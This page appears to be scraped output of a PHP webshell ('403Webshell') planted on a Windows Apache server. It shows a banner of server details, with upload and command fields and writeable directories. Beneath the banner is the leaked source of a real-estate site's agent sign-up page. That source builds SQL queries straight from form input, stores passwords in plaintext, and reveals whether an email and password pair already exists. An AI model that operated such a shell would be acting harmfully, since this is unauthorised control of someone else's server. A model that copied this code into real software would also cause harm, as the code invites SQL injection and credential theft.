403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.48
Web Server : Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12
System : Windows NT DESKTOP-3H4FHQJ 10.0 build 19045 (Windows 10) AMD64
User : win 10 ( 0)
PHP Version : 8.2.12
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  D:/khalafsite-backup/21-8-2019/New/htdocs/khalaf/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : D:/khalafsite-backup/21-8-2019/New/htdocs/khalaf/agent_page.php
<html>

<?php 
session_start();
include('db_con.php'); 
include('function.php');
?>

<?php

if(isset($_SESSION['id']))
{
	$user_id = $_SESSION['id'];
	//$user_email = $_SESSION['email'];
	
	//echo"$user_id";
//	echo"$user_email";
}

?>

<head>
<title>Khala Sons Real Estate</title>
<link rel="stylesheet" type="text/css" href="main_css/agent_page.css" />

</head>


<script>
function show_create_agent_acc()
{

document.getElementById('new_agent_acc_div').style.display="block";
}




</script>


<body onLoad="star_auto_machine();" >

<div class="main_home">

<div class="main_log">

<img src="kvt_con/khalaf_log.jpg" width="100%" height="100%" style="border-radius:20px;" classk="main_home_icon" />

</div>

<div class="main_home_title">Khala Sons Real Estate</div>

<div class="icon_div_right" >
<img onClick="show_search_area();" src="kvt_con/search_icon.png" class="top_right_icons" />
<img src="kvt_con/fb_icon.png" class="top_right_icons" />
<img src="kvt_con/instagram_icon.png" class="top_right_icons" />
<img src="kvt_con/linkedin.png" class="top_right_icons" />


</div>

</div>

<div class="postion_main_home">kk</div>

<div class="main_home_left">

<a href="index.php"><button class="left_home_btn" >Home</button></a>
<button class="left_home_btn">Project</button>
<a href="property.php"><button class="left_home_btn">Property</button></a>
<button onClick="show_upload_cv_div();" class="left_home_btn">Vacancies</button>
<a href="contact.php"><button class="left_home_btn">Contacts</button></a>
<a href="agent_page.php"><button class="left_home_btn">Our Agents</button></a>
<button onClick="show_create_agent_acc();" class="left_home_btn">New Agent</button>
<a href="extraction.php"><button class="left_home_btn">About</button></a>
<a href="log_in.php"><button class="left_home_btn">Sign in</button></a>

</div>


<div id="new_agent_acc_div" class="content_area">

<form method="post" >

<div class="log_in_title">Create Agent Account</div>

<input type="text" name="create_fname" class="name_input" placeholder="First Name" />
<input type="text" name="create_lname" class="name_input" placeholder="Last Name" />
<input type="text" name="create_contact" class="name_input" placeholder="Contact" />
<select typek="text" name="create_gender" class="name_input" >

<option selected >Select Gender</option>
<option>Male</option>
<option>Female</option>

</select>

<input type="text" name="create_emailt" class="name_input" placeholder="Email:example@kvt.com" />
<input type="password" name="create_pass" class="name_input" placeholder="Password" />
<input type="password" name="create_confirm_pass" class="name_input" placeholder="Confrim Password" />

<button id="create_ac_btn" name="create_new_account" class="create_ac_btn" >Create</button>

</form>

<?php
if(isset($_POST['create_new_account']))
{
	
	$fname = $_POST['create_fname'];
	$lname = $_POST['create_lname'];
	$contact = $_POST['create_contact'];
	$gender = $_POST['create_gender'];
	$email = $_POST['create_emailt'];
	$pass = $_POST['create_pass'];
	$confirm_pass = $_POST['create_confirm_pass'];
    
	if($fname=="" || $lname=="" || $contact=="" || $gender=="Select Gender" || $email=="" || $pass=="" || $confirm_pass==""){
		
		echo"<div style='float:left;width:100%;text-align:center;color:red;'>Fill All The Spaces</div>";
		
		}else{
			
			if($pass !== $confirm_pass){
				
				echo"<div style='float:left;width:100%;text-align:center;color:red;'>Your Password Do Not Match</div>";
				
				}else{
					
					
	$get_user ="select * from khalaf_usertb where email='$email' AND password='$pass'";
	$run_get_user = mysqli_query($con,$get_user);
	$check_get_user = mysqli_num_rows($run_get_user);
					
	if($check_get_user >0){
		echo"<div style='float:left;width:100%;text-align:center;color:red;'>Your Password Is Too Weak,Account Not Created</div>";
	}else{				
	
	$user_insert ="insert into khalaf_usertb (first_name,last_name,contact,gender,email,password,curr_date,curr_time) values('$fname','$lname','$contact','$gender','$email','$pass', CURDATE() ,CURTIME() )";
	$run_user_insert = mysqli_query($con,$user_insert);
	
	if(!$run_user_insert){echo"<div style='float:left;width:100%;text-align:center;color:red;'>Your Account Has Not Been Created</div>";}
}
}
}
}
?>

</div>



<div class="disp_agent_area">

<div class="single_disp_agent_div">

<div class="single_agent_image"></div>
<div class="single_agent_name"></div>
<div class="single_agent_name"></div>
<div class="single_agent_name"></div>
<div class="single_agent_name"></div>


</div><!--end of single_disp_agent_div  -->



</div>






<div class="main_remmie">@Khalaf Sons Real Estate</div>

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit